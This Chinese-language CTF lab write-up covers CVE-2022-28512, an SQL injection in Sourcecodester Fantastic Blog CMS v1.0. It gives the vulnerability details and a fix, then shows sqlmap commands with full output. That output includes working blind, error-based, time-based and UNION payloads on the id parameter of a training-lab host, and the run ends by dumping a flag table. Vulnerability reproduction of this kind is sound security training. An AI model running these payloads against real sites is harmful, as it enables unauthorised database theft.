Sourcecodester Fantastic Blog CMS v1.0 SQL 注入漏洞（CVE-2022-28512）

前言

CVE-2022-28512 是一个存在于 Sourcecodester Fantastic Blog CMS v1.0 中的 SQL 注入漏洞。攻击者可以通过 "/fantasticblog/single.php" 中的 id 参数注入恶意 SQL 查询，从而获得对数据库的未经授权的访问和控制。

漏洞详细信息

  • 漏洞描述: 该漏洞允许攻击者通过 "/fantasticblog/single.php" 的 id 参数进行 SQL 注入。
  • 漏洞影响: 攻击者可以利用此漏洞获取敏感数据、修改数据库内容，甚至执行任意 SQL 命令，导致整个系统的安全性受到严重威胁。
  • CVSS评分:
    • CVSS v3.1: 9.8 (Critical)
    • CVSS v2.0: 7.5 (High)
  • CWE ID: CWE-89（SQL 注入）

受影响的软件

  • Sourcecodester Fantastic Blog CMS: v1.0

修复建议

强烈建议用户立即更新 Sourcecodester Fantastic Blog CMS 至最新版本，或者应用官方提供的补丁。同时，在应用程序开发中应实施严格的输入验证和参数化查询，以防止 SQL 注入漏洞。

春秋云镜靶场是一个专注于网络安全培训和实战演练的平台，旨在通过模拟真实的网络环境和攻击场景，提升用户的网络安全防护能力和实战技能。这个平台主要提供以下功能和特点：

实战演练：

提供各种网络安全攻防演练场景，模拟真实的网络攻击事件，帮助用户在实际操作中掌握网络安全技术。
场景涵盖Web安全、系统安全、网络安全、社工攻击等多个领域。
漏洞复现：

用户可以通过平台对已知的安全漏洞进行复现，了解漏洞的产生原因、利用方法和修复措施。
通过实战操作，帮助用户掌握漏洞利用和防护的技能。
教学培训：

提供系统化的网络安全课程，从基础到高级，覆盖多个安全领域，适合不同水平的用户。
包含理论讲解和实战操作，帮助学员全面提升网络安全知识和实战能力。
竞赛与评测：

定期举办网络安全竞赛，如CTF（Capture The Flag）比赛，激发学员的学习兴趣和动力。
提供个人和团队的安全能力评测，帮助学员了解自己的安全技能水平。
资源共享：

平台提供丰富的学习资源，包括教程、工具、案例分析等，方便用户随时查阅和学习。
用户可以在社区中分享经验和资源，互相交流和学习。

春秋云镜靶场适合网络安全从业人员、学生以及对网络安全感兴趣的个人，通过在平台上进行不断的学习和实战演练，可以有效提升网络安全技能和防护能力。

介绍

Sourcecodester Fantastic Blog CMS v1.0 是一个内容管理系统，用于创建和管理博客网站。该系统使用 PHP、MySQL、JavaScript 和 HTML/CSS 构建，旨在提供一个简单且用户友好的博客平台。它主要功能包括用户管理、文章管理和评论管理等。

功能特色

  1. 用户管理：管理员可以创建和管理用户账户，赋予不同的权限，如管理员和普通用户。
  2. 文章管理：用户可以创建、编辑和删除博客文章，包括设置文章的标题、内容和标签等。
  3. 评论管理：用户可以在文章下发表评论，管理员可以审核和管理这些评论，防止垃圾评论的出现。
  4. 多媒体管理：支持上传和管理图片、视频等多媒体文件，以丰富博客内容。
  5. 分类和标签：支持对文章进行分类和添加标签，方便内容的组织和检索。

安装和使用

  1. 服务器要求：需要一个支持 PHP 和 MySQL 的服务器环境，如 XAMPP 或 WAMP。
  2. 数据库配置：下载源码后，配置数据库连接信息，并导入初始数据库文件。
  3. 用户界面：通过简单的界面，用户可以方便地发布和管理博客内容，浏览者可以轻松地阅读和评论文章。

该系统适合个人博客和小型网站的搭建，提供了基础的博客功能，同时源码开放，用户可以根据需要进行二次开发和定制​ (SourceCodester)​​ (SourceCodester)​​ (SourceCodester)​。

漏洞复现

打开靶场

根据题目手动构造 URL

http://eci-2zehz8yh4xe8fzah182w.cloudeci1.ichunqiu.com/single.php?id=1

原首页可以看到是有登录的 

现在咱们能直接构造 URL 访问目标页面说明没有用户验证，直接上 SQLMap 跑它

┌──(root㉿kali)-[~]
└─# sqlmap -u "http://eci-2zehz8yh4xe8fzah182w.cloudeci1.ichunqiu.com/single.php?id=1" --batch --dbs_____H_____ ___["]_____ ___ ___  {1.8.4#stable}
|_ -| . [(]     | .'| . |
|___|_  [(]_|_|_|__,|  _||_|V...       |_|   https://sqlmap.org[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program[*] starting @ 20:24:55 /2024-06-29/[20:24:55] [INFO] testing connection to the target URL
[20:24:55] [INFO] checking if the target is protected by some kind of WAF/IPS
[20:24:55] [INFO] testing if the target URL content is stable
[20:24:56] [WARNING] target URL content is not stable (i.e. content differs). sqlmap will base the page comparison on a sequence matcher. If no dynamic nor injectable parameters are detected, or in case of junk results, refer to user's manual paragraph 'Page comparison'
how do you want to proceed? [(C)ontinue/(s)tring/(r)egex/(q)uit] C
[20:24:56] [INFO] testing if GET parameter 'id' is dynamic
[20:24:56] [WARNING] GET parameter 'id' does not appear to be dynamic
[20:24:56] [INFO] heuristic (basic) test shows that GET parameter 'id' might be injectable (possible DBMS: 'MySQL')
[20:24:56] [INFO] heuristic (XSS) test shows that GET parameter 'id' might be vulnerable to cross-site scripting (XSS) attacks
[20:24:56] [INFO] testing for SQL injection on GET parameter 'id'
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] Y
[20:24:56] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[20:24:57] [WARNING] reflective value(s) found and filtering out
[20:24:57] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'
[20:24:57] [INFO] testing 'Generic inline queries'
[20:24:58] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause (MySQL comment)'
[20:25:02] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause (MySQL comment)'
[20:25:05] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment)'
[20:25:09] [INFO] testing 'MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause'
[20:25:12] [INFO] GET parameter 'id' appears to be 'MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause' injectable 
[20:25:12] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)'
[20:25:12] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (BIGINT UNSIGNED)'
[20:25:12] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXP)'
[20:25:12] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (EXP)'
[20:25:12] [INFO] testing 'MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)'
[20:25:12] [INFO] testing 'MySQL >= 5.6 OR error-based - WHERE or HAVING clause (GTID_SUBSET)'
[20:25:12] [INFO] testing 'MySQL >= 5.7.8 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (JSON_KEYS)'
[20:25:13] [INFO] testing 'MySQL >= 5.7.8 OR error-based - WHERE or HAVING clause (JSON_KEYS)'
[20:25:13] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[20:25:13] [INFO] GET parameter 'id' is 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)' injectable 
[20:25:13] [INFO] testing 'MySQL inline queries'
[20:25:13] [INFO] testing 'MySQL >= 5.0.12 stacked queries (comment)'
[20:25:13] [INFO] testing 'MySQL >= 5.0.12 stacked queries'
[20:25:13] [INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP - comment)'
[20:25:13] [INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP)'
[20:25:13] [INFO] testing 'MySQL < 5.0.12 stacked queries (BENCHMARK - comment)'
[20:25:13] [INFO] testing 'MySQL < 5.0.12 stacked queries (BENCHMARK)'
[20:25:13] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[20:25:23] [INFO] GET parameter 'id' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable 
[20:25:23] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[20:25:23] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns'
[20:25:23] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[20:25:23] [INFO] 'ORDER BY' technique appears to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
[20:25:24] [INFO] target URL appears to have 9 columns in query
[20:25:25] [INFO] GET parameter 'id' is 'MySQL UNION query (NULL) - 1 to 20 columns' injectable
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 260 HTTP(s) requests:
---
Parameter: id (GET)Type: boolean-based blindTitle: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clausePayload: id=1' RLIKE (SELECT (CASE WHEN (1569=1569) THEN 1 ELSE 0x28 END))-- DGYWType: error-basedTitle: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)Payload: id=1' AND (SELECT 4914 FROM(SELECT COUNT(*),CONCAT(0x717a786271,(SELECT (ELT(4914=4914,1))),0x71717a7171,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- QBlPType: time-based blindTitle: MySQL >= 5.0.12 AND time-based blind (query SLEEP)Payload: id=1' AND (SELECT 7718 FROM (SELECT(SLEEP(5)))VCMl)-- mzYYType: UNION queryTitle: MySQL UNION query (NULL) - 9 columnsPayload: id=-1282' UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x717a786271,0x4a6e55544a774f4a56556872484d58704a5a4c494d756e756774556e45757257586d564a70677252,0x71717a7171),NULL,NULL,NULL,NULL,NULL#
---
[20:25:25] [INFO] the back-end DBMS is MySQL
web application technology: PHP 7.2.20
back-end DBMS: MySQL >= 5.0 (MariaDB fork)
[20:25:25] [INFO] fetching database names
[20:25:26] [INFO] retrieved: 'information_schema'
[20:25:26] [INFO] retrieved: 'performance_schema'
[20:25:26] [INFO] retrieved: 'mysql'
[20:25:26] [INFO] retrieved: 'ctf'
available databases [4]:                                                       
[*] ctf
[*] information_schema
[*] mysql
[*] performance_schema[20:25:26] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/eci-2zehz8yh4xe8fzah182w.cloudeci1.ichunqiu.com'[*] ending @ 20:25:26 /2024-06-29/┌──(root㉿kali)-[~]
└─# sqlmap -u "http://eci-2zehz8yh4xe8fzah182w.cloudeci1.ichunqiu.com/single.php?id=1" --batch -D "ctf" --tables_____H_____ ___[.]_____ ___ ___  {1.8.4#stable}
|_ -| . [)]     | .'| . |
|___|_  [.]_|_|_|__,|  _||_|V...       |_|   https://sqlmap.org[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program[*] starting @ 20:26:21 /2024-06-29/[20:26:21] [INFO] resuming back-end DBMS 'mysql' 
[20:26:21] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)Type: boolean-based blindTitle: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clausePayload: id=1' RLIKE (SELECT (CASE WHEN (1569=1569) THEN 1 ELSE 0x28 END))-- DGYWType: error-basedTitle: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)Payload: id=1' AND (SELECT 4914 FROM(SELECT COUNT(*),CONCAT(0x717a786271,(SELECT (ELT(4914=4914,1))),0x71717a7171,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- QBlPType: time-based blindTitle: MySQL >= 5.0.12 AND time-based blind (query SLEEP)Payload: id=1' AND (SELECT 7718 FROM (SELECT(SLEEP(5)))VCMl)-- mzYYType: UNION queryTitle: MySQL UNION query (NULL) - 9 columnsPayload: id=-1282' UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x717a786271,0x4a6e55544a774f4a56556872484d58704a5a4c494d756e756774556e45757257586d564a70677252,0x71717a7171),NULL,NULL,NULL,NULL,NULL#
---
[20:26:22] [INFO] the back-end DBMS is MySQL
web application technology: PHP 7.2.20
back-end DBMS: MySQL >= 5.0 (MariaDB fork)
[20:26:22] [INFO] fetching tables for database: 'ctf'
[20:26:22] [INFO] retrieved: 'titles'
[20:26:22] [INFO] retrieved: 'page_hits'
[20:26:22] [INFO] retrieved: 'membership_userpermissions'
[20:26:22] [INFO] retrieved: 'membership_groups'
[20:26:23] [INFO] retrieved: 'blog_categories'
[20:26:23] [INFO] retrieved: 'membership_userrecords'
[20:26:23] [INFO] retrieved: 'membership_users'
[20:26:23] [INFO] retrieved: 'editors_choice'
[20:26:23] [INFO] retrieved: 'blogs'
[20:26:23] [INFO] retrieved: 'links'
[20:26:23] [INFO] retrieved: 'flag'
[20:26:23] [INFO] retrieved: 'banner_posts'
[20:26:23] [INFO] retrieved: 'membership_grouppermissions'
[20:26:23] [INFO] retrieved: 'visitor_info'
Database: ctf                                                                                                                      
[14 tables]
+-----------------------------+
| banner_posts                |
| blog_categories             |
| blogs                       |
| editors_choice              |
| flag                        |
| links                       |
| membership_grouppermissions |
| membership_groups           |
| membership_userpermissions  |
| membership_userrecords      |
| membership_users            |
| page_hits                   |
| titles                      |
| visitor_info                |
+-----------------------------+[20:26:23] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/eci-2zehz8yh4xe8fzah182w.cloudeci1.ichunqiu.com'[*] ending @ 20:26:23 /2024-06-29/┌──(root㉿kali)-[~]
└─# sqlmap -u "http://eci-2zehz8yh4xe8fzah182w.cloudeci1.ichunqiu.com/single.php?id=1" --batch -D "ctf" -T "flag" --columns_____H_____ ___[(]_____ ___ ___  {1.8.4#stable}
|_ -| . [)]     | .'| . |
|___|_  ["]_|_|_|__,|  _||_|V...       |_|   https://sqlmap.org[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program[*] starting @ 20:26:39 /2024-06-29/[20:26:39] [INFO] resuming back-end DBMS 'mysql' 
[20:26:40] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)Type: boolean-based blindTitle: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clausePayload: id=1' RLIKE (SELECT (CASE WHEN (1569=1569) THEN 1 ELSE 0x28 END))-- DGYWType: error-basedTitle: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)Payload: id=1' AND (SELECT 4914 FROM(SELECT COUNT(*),CONCAT(0x717a786271,(SELECT (ELT(4914=4914,1))),0x71717a7171,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- QBlPType: time-based blindTitle: MySQL >= 5.0.12 AND time-based blind (query SLEEP)Payload: id=1' AND (SELECT 7718 FROM (SELECT(SLEEP(5)))VCMl)-- mzYYType: UNION queryTitle: MySQL UNION query (NULL) - 9 columnsPayload: id=-1282' UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x717a786271,0x4a6e55544a774f4a56556872484d58704a5a4c494d756e756774556e45757257586d564a70677252,0x71717a7171),NULL,NULL,NULL,NULL,NULL#
---
[20:26:40] [INFO] the back-end DBMS is MySQL
web application technology: PHP 7.2.20
back-end DBMS: MySQL >= 5.0 (MariaDB fork)
[20:26:40] [INFO] fetching columns for table 'flag' in database 'ctf'
Database: ctf
Table: flag
[1 column]
+--------+---------------+
| Column | Type          |
+--------+---------------+
| flag   | varchar(1024) |
+--------+---------------+[20:26:40] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/eci-2zehz8yh4xe8fzah182w.cloudeci1.ichunqiu.com'[*] ending @ 20:26:40 /2024-06-29/┌──(root㉿kali)-[~]
└─# sqlmap -u "http://eci-2zehz8yh4xe8fzah182w.cloudeci1.ichunqiu.com/single.php?id=1" --batch -D "ctf" -T "flag" -C "flag" --dump_____H_____ ___[,]_____ ___ ___  {1.8.4#stable}
|_ -| . [']     | .'| . |
|___|_  [']_|_|_|__,|  _||_|V...       |_|   https://sqlmap.org[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program[*] starting @ 20:27:13 /2024-06-29/[20:27:13] [INFO] resuming back-end DBMS 'mysql' 
[20:27:13] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)Type: boolean-based blindTitle: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clausePayload: id=1' RLIKE (SELECT (CASE WHEN (1569=1569) THEN 1 ELSE 0x28 END))-- DGYWType: error-basedTitle: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)Payload: id=1' AND (SELECT 4914 FROM(SELECT COUNT(*),CONCAT(0x717a786271,(SELECT (ELT(4914=4914,1))),0x71717a7171,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- QBlPType: time-based blindTitle: MySQL >= 5.0.12 AND time-based blind (query SLEEP)Payload: id=1' AND (SELECT 7718 FROM (SELECT(SLEEP(5)))VCMl)-- mzYYType: UNION queryTitle: MySQL UNION query (NULL) - 9 columnsPayload: id=-1282' UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x717a786271,0x4a6e55544a774f4a56556872484d58704a5a4c494d756e756774556e45757257586d564a70677252,0x71717a7171),NULL,NULL,NULL,NULL,NULL#
---
[20:27:13] [INFO] the back-end DBMS is MySQL
web application technology: PHP 7.2.20
back-end DBMS: MySQL >= 5.0 (MariaDB fork)
[20:27:13] [INFO] fetching entries of column(s) 'flag' for table 'flag' in database 'ctf'
Database: ctf
Table: flag
[1 entry]
+--------------------------------------------+
| flag                                       |
+--------------------------------------------+
| flag{ab5bd2f1-096b-4ed8-928a-59056341e86b} |
+--------------------------------------------+[20:27:14] [INFO] table 'ctf.flag' dumped to CSV file '/root/.local/share/sqlmap/output/eci-2zehz8yh4xe8fzah182w.cloudeci1.ichunqiu.com/dump/ctf/flag.csv'
[20:27:14] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/eci-2zehz8yh4xe8fzah182w.cloudeci1.ichunqiu.com'[*] ending @ 20:27:14 /2024-06-29/

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